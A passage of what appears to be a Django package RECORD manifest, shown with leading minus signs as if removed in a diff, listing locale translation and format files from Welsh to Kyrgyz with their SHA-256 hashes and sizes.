-django/conf/locale/cy/LC_MESSAGES/django.mo,sha256=s7mf895rsoiqrPrXpyWg2k85rN8umYB2aTExWMTux7s,18319 -django/conf/locale/cy/LC_MESSAGES/django.po,sha256=S-1PVWWVgYmugHoYUlmTFAzKCpI81n9MIAhkETbpUoo,25758 -django/conf/locale/cy/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/cy/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/cy/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/cy/formats.py,sha256=NY1pYPfpu7XjLMCCuJk5ggdpLcufV1h101ojyxfPUrY,1355 -django/conf/locale/da/LC_MESSAGES/django.mo,sha256=5rWOqu5hLUynpkxuz3kxDk1v3kZ73YpcjjhMnZ-Nb5g,27818 -django/conf/locale/da/LC_MESSAGES/django.po,sha256=Bu-OYUJEUWfYhGTXV8_rdj8zrbc5okbHVO3CfeNg9hQ,30255 -django/conf/locale/da/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/da/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/da/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/da/formats.py,sha256=-y3033Fo7COyY0NbxeJVYGFybrnLbgXtRf1yBGlouys,876 -django/conf/locale/de/LC_MESSAGES/django.mo,sha256=-J6VqvJeSF8tk4rjb1aI5MSWwyV372EPzwI3O18vecE,29167 -django/conf/locale/de/LC_MESSAGES/django.po,sha256=RZMqmCY1nUVapY7ryTBN3vFNlEsuhw8mQC7b5M6IV9c,31680 -django/conf/locale/de/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/de/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/de/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/de/formats.py,sha256=fysX8z5TkbPUWAngoy_sMeFGWp2iaNU6ftkBz8cqplg,996 -django/conf/locale/de_CH/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/de_CH/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/de_CH/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/de_CH/formats.py,sha256=22UDF62ESuU0Jp_iNUqAj-Bhq4_-frpji0-ynBdHXYk,1377 -django/conf/locale/dsb/LC_MESSAGES/django.mo,sha256=EfsEJ_6a4G8SsJSX3Gr4GFZCaIB_39V_TLZbvRuJdMY,30738 -django/conf/locale/dsb/LC_MESSAGES/django.po,sha256=jY1uYogT8DY7_hMie1CSft85fW-QjrX_PiuEnO7X5lc,33262 -django/conf/locale/el/LC_MESSAGES/django.mo,sha256=P5lTOPFcl9x6_j69ZN3hM_mQbhW7Fbbx02RtTNJwfS0,33648 -django/conf/locale/el/LC_MESSAGES/django.po,sha256=rZCComPQcSSr8ZDLPgtz958uBeBZsmV_gEP-sW88kRA,37123 -django/conf/locale/el/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/el/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/el/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/el/formats.py,sha256=RON2aqQaQK3DYVF_wGlBQJDHrhANxypcUW_udYKI-ro,1241 -django/conf/locale/en/LC_MESSAGES/django.mo,sha256=mVpSj1AoAdDdW3zPZIg5ZDsDbkSUQUMACg_BbWHGFig,356 -django/conf/locale/en/LC_MESSAGES/django.po,sha256=OWvHCX5XOOPznprddgycvtmmexfZymD4ab_YBcwKpUc,30411 -django/conf/locale/en/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/en/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/en/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/en/formats.py,sha256=VTQUhaZ_WFhS5rQj0PxbnoMySK0nzUSqrd6Gx-DtXxI,2438 -django/conf/locale/en_AU/LC_MESSAGES/django.mo,sha256=SntsKx21R2zdjj0D73BkOXGTDnoN5unsLMJ3y06nONM,25633 -django/conf/locale/en_AU/LC_MESSAGES/django.po,sha256=6Qh4Z6REzhUdG5KwNPNK9xgLlgq3VbAJuoSXyd_eHdE,28270 -django/conf/locale/en_AU/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/en_AU/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/en_AU/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/en_AU/formats.py,sha256=BoI5UviKGZ4TccqLmxpcdMf0Yk1YiEhY_iLQUddjvi0,1650 -django/conf/locale/en_CA/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/en_CA/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/en_CA/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/en_CA/formats.py,sha256=joB2Dy7XYhlii_PBJfuzHNLbOPmRXW2JjYkmxFr6KxI,1166 -django/conf/locale/en_GB/LC_MESSAGES/django.mo,sha256=jSIe44HYGfzQlPtUZ8tWK2vCYM9GqCKs-CxLURn4e1o,12108 -django/conf/locale/en_GB/LC_MESSAGES/django.po,sha256=PTXvOpkxgZFRoyiqftEAuMrFcYRLfLDd6w0K8crN8j4,22140 -django/conf/locale/en_GB/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/en_GB/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/en_GB/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/en_GB/formats.py,sha256=cJN8YNthkIOHCIMnwiTaSZ6RCwgSHkjWYMcfw8VFScE,1650 -django/conf/locale/en_IE/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/en_IE/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/en_IE/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/en_IE/formats.py,sha256=aKEIT96Y6tzbGHFu3qsFzFc4Qw_uzhNjB69GpmP6qX8,1484 -django/conf/locale/eo/LC_MESSAGES/django.mo,sha256=TPgHTDrh1amnOQjA7sY-lQvicdFewMutOfoptV3OKkU,27676 -django/conf/locale/eo/LC_MESSAGES/django.po,sha256=IPo-3crOWkp5dDQPDAFSzgCbf9OHjWB1zE3mklhTexk,30235 -django/conf/locale/eo/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/eo/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/eo/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/eo/formats.py,sha256=zIEAk-SiLX0cvQVmRc3LpmV69jwRrejMMdC7vtVsSh0,1715 -django/conf/locale/es/LC_MESSAGES/django.mo,sha256=obYxux5pMwwbgMs6c_I5T-3CR7e_07d0h-JwmzwsKWU,29265 -django/conf/locale/es/LC_MESSAGES/django.po,sha256=77fpBrwtaZ3nvcXyLrf5k4Psq22dHuN0iR7OPn0MUTs,33344 -django/conf/locale/es/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/es/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/es/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/es/formats.py,sha256=7SusO1dPErY68h5g4lpxvPbsJYdrbTcr_0EX7uDKYNo,978 -django/conf/locale/es_AR/LC_MESSAGES/django.mo,sha256=HtNMHLmI3ghvieI4wZ_QvZI01Wfb68ukh9g0V4ufw_0,29693 -django/conf/locale/es_AR/LC_MESSAGES/django.po,sha256=Ea_vkNcTWZTukV-lCkG5wLR1xKqIokMeT0yfuxDFUss,32099 -django/conf/locale/es_AR/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/es_AR/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/es_AR/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/es_AR/formats.py,sha256=4qgOJoR2K5ZE-pA2-aYRwFW7AbK-M9F9u3zVwgebr2w,935 -django/conf/locale/es_CO/LC_MESSAGES/django.mo,sha256=ehUwvqz9InObH3fGnOLuBwivRTVMJriZmJzXcJHsfjc,18079 -django/conf/locale/es_CO/LC_MESSAGES/django.po,sha256=XRgn56QENxEixlyix3v4ZSTSjo4vn8fze8smkrv_gc4,25107 -django/conf/locale/es_CO/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/es_CO/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/es_CO/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/es_CO/formats.py,sha256=0uAbBvOkdJZKjvhrrd0htScdO7sTgbofOkkC8A35_a8,691 -django/conf/locale/es_MX/LC_MESSAGES/django.mo,sha256=UkpQJeGOs_JQRmpRiU6kQmmYGL_tizL4JQOWb9i35M4,18501 -django/conf/locale/es_MX/LC_MESSAGES/django.po,sha256=M0O6o1f3V-EIY9meS3fXP_c7t144rXWZuERF5XeG5Uo,25870 -django/conf/locale/es_MX/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/es_MX/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/es_MX/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/es_MX/formats.py,sha256=fBvyAqBcAXARptSE3hxwzFYNx3lEE8QrhNrCWuuGNlA,768 -django/conf/locale/es_NI/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/es_NI/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/es_NI/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/es_NI/formats.py,sha256=UiOadPoMrNt0iTp8jZVq65xR_4LkOwp-fjvFb8MyNVg,711 -django/conf/locale/es_PR/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/es_PR/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/es_PR/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/es_PR/formats.py,sha256=VVTlwyekX80zCKlg1P4jhaAdKNpN5I64pW_xgrhpyVs,675 -django/conf/locale/es_VE/LC_MESSAGES/django.mo,sha256=h-h1D_Kr-LI_DyUJuIG4Zbu1HcLWTM1s5X515EYLXO8,18840 -django/conf/locale/es_VE/LC_MESSAGES/django.po,sha256=Xj38imu4Yw-Mugwge5CqAqWlcnRWnAKpVBPuL06Twjs,25494 -django/conf/locale/et/LC_MESSAGES/django.mo,sha256=WF00XXoJ3CUXv3Kb3fulOqohNnZ-skw8ysxFChl7iRE,27291 -django/conf/locale/et/LC_MESSAGES/django.po,sha256=BA_paZwRHIGuQOlFI_K2DJex3HzqqVgEb59wnYJPSB0,30074 -django/conf/locale/et/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/et/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/et/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/et/formats.py,sha256=DyFSZVuGSYGoImrRI2FodeM51OtvIcCkKzkI0KvYTQw,707 -django/conf/locale/eu/LC_MESSAGES/django.mo,sha256=EdncCA6Qp76DsqkyEYygaZFrnKRYzJ6LEucQqIjCsSM,21725 -django/conf/locale/eu/LC_MESSAGES/django.po,sha256=6T-yCAeg_8ntlqD_KJyjbqY0qgKPTwi3J46j0J6Ld1I,27752 -django/conf/locale/eu/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/eu/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/eu/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/eu/formats.py,sha256=-PuRA6eHeXP8R3YV0aIEQRbk2LveaZk-_kjHlBT-Drg,749 -django/conf/locale/fa/LC_MESSAGES/django.mo,sha256=i9wWfM-zV76dkEoItqgfDniZ8qI66htM3cw48bBnvNg,31655 -django/conf/locale/fa/LC_MESSAGES/django.po,sha256=yry0L0s1KLG-NZ5T6rAAiQ1j7vhc3vXG24Knzn141eo,35114 -django/conf/locale/fa/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fa/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fa/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fa/formats.py,sha256=v0dLaIh6-CWCAQHkmX0PaIlA499gTeRcJEi7lVJzw9o,722 -django/conf/locale/fi/LC_MESSAGES/django.mo,sha256=tXC36z4kP4b07YcfJxKRty83woT7AGmcJ_5iiDA4UUg,28122 -django/conf/locale/fi/LC_MESSAGES/django.po,sha256=k5DKhyy27Tv-44Tf-DWD8EszkBemDn3O5dQ-F2nh2tQ,30563 -django/conf/locale/fi/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fi/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fi/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fi/formats.py,sha256=CO_wD5ZBHwAVgjxArXktLCD7M-PPhtHbayX_bBKqhlA,1213 -django/conf/locale/fr/LC_MESSAGES/django.mo,sha256=GVye4K2_wgoutRkInLS0PLD38z1b15wNdh4DIowBaEA,30309 -django/conf/locale/fr/LC_MESSAGES/django.po,sha256=xdJHJ4m-a0JkN2AOTeP1t__DuSiSnp6-7NdE0zXC9X4,32928 -django/conf/locale/fr/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fr/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fr/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fr/formats.py,sha256=0uO3NMUAc2rRZOtr9SMJgFHTNNhr8t2xrGruVBRHTmw,938 -django/conf/locale/fr_BE/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fr_BE/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fr_BE/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fr_BE/formats.py,sha256=DB7W-i5BYeRjMRGWMWmm5oK4FNOTy4H4LL_xx6Ztk00,1154 -django/conf/locale/fr_CA/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fr_CA/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fr_CA/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fr_CA/formats.py,sha256=uSZ4s7XJmcutcbx51DVRu2Sh9ZkOhlTU1RHI37NQqQs,1171 -django/conf/locale/fr_CH/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fr_CH/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fr_CH/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fr_CH/formats.py,sha256=DB7W-i5BYeRjMRGWMWmm5oK4FNOTy4H4LL_xx6Ztk00,1154 -django/conf/locale/fy/LC_MESSAGES/django.mo,sha256=9P7zoJtaYHfXly8d6zBoqkxLM98dO8uI6nmWtsGu-lM,2286 -django/conf/locale/fy/LC_MESSAGES/django.po,sha256=jveK-2MjopbqC9jWcrYbttIb4DUmFyW1_-0tYaD6R0I,19684 -django/conf/locale/fy/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/fy/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/fy/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/fy/formats.py,sha256=mJXj1dHUnO883PYWPwuI07CNbjmnfBTQVRXZMg2hmOk,658 -django/conf/locale/ga/LC_MESSAGES/django.mo,sha256=AE9Vz07y6hXsV3gP-E3uboUU1nWLREpQYUBhKXI0UZY,31429 -django/conf/locale/ga/LC_MESSAGES/django.po,sha256=3biGJaUwzLN_q9b1Pe3_lpQ4-zlT8qEGhCGIU1bMzGo,34517 -django/conf/locale/ga/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ga/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ga/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ga/formats.py,sha256=Qh7R3UMfWzt7QIdMZqxY0o4OMpVsqlchHK7Z0QnDWds,682 -django/conf/locale/gd/LC_MESSAGES/django.mo,sha256=2VKzI7Nqd2NjABVQGdcduWHjj0h2b3UBGQub7xaTVPs,30752 -django/conf/locale/gd/LC_MESSAGES/django.po,sha256=3PfuhhmosuarfPjvM2TVf2kHhZaw5_G8oIM2VWTc3gI,33347 -django/conf/locale/gd/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/gd/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/gd/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/gd/formats.py,sha256=7doL7JIoCqA_o-lpCwM3jDHMpptA3BbSgeLRqdZk8Lc,715 -django/conf/locale/gl/LC_MESSAGES/django.mo,sha256=UJY2CZtRqTkiPz5CgV1y1qPbcxZ6tPZvYtAWhwCNGgQ,28464 -django/conf/locale/gl/LC_MESSAGES/django.po,sha256=ZT-YXU4N4Z6qYkUPm84IXPqLznbOsOEE-PQJN9FCzIc,30925 -django/conf/locale/gl/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/gl/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/gl/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/gl/formats.py,sha256=ygSFv-YTS8htG_LW0awegkkOarPRTZNPbUck5sxkAwI,757 -django/conf/locale/he/LC_MESSAGES/django.mo,sha256=qUMkR_MoqpY5D8GkHOBB4dccDumRg1YuccPOIZudZj4,31336 -django/conf/locale/he/LC_MESSAGES/django.po,sha256=FiZkX1xR5ynrLsydGPQYgvy6SV67E2saYD5fg_CdUKA,34069 -django/conf/locale/he/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/he/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/he/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/he/formats.py,sha256=M-tu-LmTZd_oYPNH6CZEsdxJN526RUOfnLHlQxRL0N0,712 -django/conf/locale/hi/LC_MESSAGES/django.mo,sha256=8pV5j5q8VbrxdVkcS0qwhVx6DmXRRXPKfRsm3nWhI2g,19712 -django/conf/locale/hi/LC_MESSAGES/django.po,sha256=DPV-I1aXgIiZB7zHdEgAHShZFyb9zlNmMXlyjH5ug0I,29221 -django/conf/locale/hi/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/hi/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/hi/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/hi/formats.py,sha256=JArVM9dMluSP-cwpZydSVXHB5Vs9QKyR9c-bftI9hds,684 -django/conf/locale/hr/LC_MESSAGES/django.mo,sha256=HP4PCb-i1yYsl5eqCamg5s3qBxZpS_aXDDKZ4Hlbbcc,19457 -django/conf/locale/hr/LC_MESSAGES/django.po,sha256=qeVJgKiAv5dKR2msD2iokSOApZozB3Gp0xqzC09jnvs,26329 -django/conf/locale/hr/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/hr/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/hr/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/hr/formats.py,sha256=F4mIdDoaOYJ_lPmsJ_6bQo4Zj8pOSVwuldm92zRy4Fo,1723 -django/conf/locale/hsb/LC_MESSAGES/django.mo,sha256=RdjIoabY6Q4vgWDsHlZljvBfJIOl7e3Qrf8U0CXr4Gc,30397 -django/conf/locale/hsb/LC_MESSAGES/django.po,sha256=jzwnMODbjhMaOTBN7gesEwlAHrXk_J-dbdeX9xmQLZ0,32893 -django/conf/locale/hu/LC_MESSAGES/django.mo,sha256=i2qW6f16t6-GVzyU71954BTmABcb9RbINi61hqiFZYE,29058 -django/conf/locale/hu/LC_MESSAGES/django.po,sha256=jLhOhdi5Eq0N62TOiJNX4jcT4mbVOgwIYdcpxlP30lI,31757 -django/conf/locale/hu/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/hu/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/hu/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/hu/formats.py,sha256=xAD7mNsC5wFA2_KGRbBMPKwj884pq0jCKmXhEenGAEk,1001 -django/conf/locale/hy/LC_MESSAGES/django.mo,sha256=KfmTnB-3ZUKDHeNgLiego2Af0WZoHTuNKss3zE-_XOE,22207 -django/conf/locale/hy/LC_MESSAGES/django.po,sha256=kNKlJ5NqZmeTnnxdqhmU3kXiqT9t8MgAFgxM2V09AIc,28833 -django/conf/locale/ia/LC_MESSAGES/django.mo,sha256=JcrpersrDAoJXrD3AnPYBCQyGJ-6kUzH_Q8StbqmMeE,21428 -django/conf/locale/ia/LC_MESSAGES/django.po,sha256=LG0juYDjf3KkscDxwjY3ac6H1u5BBwGHljW3QWvr1nc,26859 -django/conf/locale/id/LC_MESSAGES/django.mo,sha256=6nkmcbKnW3CDgvkDrXwAFlboubvZHcrsvFtaZwxaSUI,27574 -django/conf/locale/id/LC_MESSAGES/django.po,sha256=nWHJBDKN686W5qQm0CfHDYiE1YLh_Mgw8TABcMQrMzM,30057 -django/conf/locale/id/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/id/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/id/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/id/formats.py,sha256=kYyOxWHN3Jyif3rFxLFyBUjTzFUwmuaLrkw5JvGbEz8,1644 -django/conf/locale/ig/LC_MESSAGES/django.mo,sha256=tAZG5GKhEbrUCJtLrUxzmrROe1RxOhep8w-RR7DaDYo,27188 -django/conf/locale/ig/LC_MESSAGES/django.po,sha256=DB_I4JXKMY4M7PdAeIsdqnLSFpq6ImkGPCuY82rNBpY,28931 -django/conf/locale/ig/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ig/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ig/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ig/formats.py,sha256=P3IsxhF5rNFZ5nCWUSyJfFLb0V1QdX_Xn-tYdrcll5Q,1119 -django/conf/locale/io/LC_MESSAGES/django.mo,sha256=uI78C7Qkytf3g1A6kVWiri_CbS55jReO2XmRfLTeNs0,14317 -django/conf/locale/io/LC_MESSAGES/django.po,sha256=FyN4ZTfNPV5TagM8NEhRts8y_FhehIPPouh_MfslnWY,23124 -django/conf/locale/is/LC_MESSAGES/django.mo,sha256=1pFU-dTPg2zs87L0ZqFFGS9q-f-XrzTOlhKujlyNL2E,24273 -django/conf/locale/is/LC_MESSAGES/django.po,sha256=76cQ_9DLg1jR53hiKSc1tLUMeKn8qTdPwpHwutEK014,28607 -django/conf/locale/is/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/is/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/is/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/is/formats.py,sha256=scsNfP4vVacxWIoN03qc2Fa3R8Uh5Izr1MqBicrAl3A,688 -django/conf/locale/it/LC_MESSAGES/django.mo,sha256=VjrisfaYSDxB6fm4h2vnIjuS9BVzmBacAVK1XySv_UM,28519 -django/conf/locale/it/LC_MESSAGES/django.po,sha256=r-LFt35zucantQe9gO62lqvA0j05ObCzSzVvCiFHSag,31952 -django/conf/locale/it/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/it/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/it/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/it/formats.py,sha256=KzkSb3KXBwfM3gk2FezyR-W8_RYKpnlFeFuIi5zl-S0,1774 -django/conf/locale/ja/LC_MESSAGES/django.mo,sha256=2Ye0yCvw0i_rJuhaPU4PmXMytkvUPh0eFAr2mcj3QAo,30945 -django/conf/locale/ja/LC_MESSAGES/django.po,sha256=E3n4fgr5Hje_J0OfnatKyGHkduYHigwuywmLRwynZHo,33466 -django/conf/locale/ja/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ja/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ja/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ja/formats.py,sha256=COUuaXo5zCSNzEwJ0smjbm9Qj28YNBcGxm8qFCJv4sE,729 -django/conf/locale/ka/LC_MESSAGES/django.mo,sha256=4e8at-KNaxYJKIJd8r6iPrYhEdnaJ1qtPw-QHPMh-Sc,24759 -django/conf/locale/ka/LC_MESSAGES/django.po,sha256=pIgaLU6hXgVQ2WJp1DTFoubI7zHOUkkKMddwV3PTdt8,32088 -django/conf/locale/ka/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ka/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ka/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ka/formats.py,sha256=elTGOjS-mxuoSCAKOm8Wz2aLfh4pWvNyClUFcrYq9ng,1861 -django/conf/locale/kab/LC_MESSAGES/django.mo,sha256=x5Kyq2Uf3XNlQP06--4lT8Q1MacA096hZbyMJRrHYIc,7139 -django/conf/locale/kab/LC_MESSAGES/django.po,sha256=DsFL3IzidcAnPoAWIfIbGJ6Teop1yKPBRALeLYrdiFA,20221 -django/conf/locale/kk/LC_MESSAGES/django.mo,sha256=krjcDvA5bu591zcP76bWp2mD2FL1VUl7wutaZjgD668,13148 -django/conf/locale/kk/LC_MESSAGES/django.po,sha256=RgM4kzn46ZjkSDHMAsyOoUg7GdxGiZ-vaEOdf7k0c5A,23933 -django/conf/locale/km/LC_MESSAGES/django.mo,sha256=kEvhZlH7lkY1DUIHTHhFVQzOMAPd_-QMItXTYX0j1xY,7223 -django/conf/locale/km/LC_MESSAGES/django.po,sha256=QgRxEiJMopO14drcmeSG6XEXQpiAyfQN0Ot6eH4gca8,21999 -django/conf/locale/km/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/km/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/km/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/km/formats.py,sha256=0UMLrZz1aI2sdRPkJ0YzX99co2IV6tldP7pEvGEPdP0,750 -django/conf/locale/kn/LC_MESSAGES/django.mo,sha256=fQ7AD5tUiV_PZFBxUjNPQN79dWBJKqfoYwRdrOaQjU4,17515 -django/conf/locale/kn/LC_MESSAGES/django.po,sha256=fS4Z7L4NGVQ6ipZ7lMHAqAopTBP0KkOc-eBK0IYdbBE,28133 -django/conf/locale/kn/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/kn/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/kn/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/kn/formats.py,sha256=X5j9VHIW2XRdeTzDFEyS8tG05OBFzP2R7sEGUQa_INg,680 -django/conf/locale/ko/LC_MESSAGES/django.mo,sha256=g8kKIU6VaRguSKr5mnvFLgnCfNPRmG0b15TZJMmwvsE,28982 -django/conf/locale/ko/LC_MESSAGES/django.po,sha256=mxUD6fN3aZ1L_IFrbsHmq2ppaeKdwcoTuCdKcOZG5As,31963 -django/conf/locale/ko/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ko/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ko/__pycache__/formats.cpython-311.pyc,, -django/conf/locale/ko/formats.py,sha256=Yox367v4HPL3N9VoJ1vJ81MpSEljJDlAcLa2kQY-ung,2060 -django/conf/locale/ky/LC_MESSAGES/django.mo,sha256=IBVfwPwaZmaoljMRBGww_wWGMJqbF_IOHHnH2j-yJw8,31395 -django/conf/locale/ky/LC_MESSAGES/django.po,sha256=5ACTPMMbXuPJbU7Rfzs0yZHh3xy483pqo5DwSBQp4s4,33332 -django/conf/locale/ky/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/conf/locale/ky/__pycache__/__init__.cpython-311.pyc,, -django/conf/locale/ky/__pycache__/formats.cpython-311.pyc,, 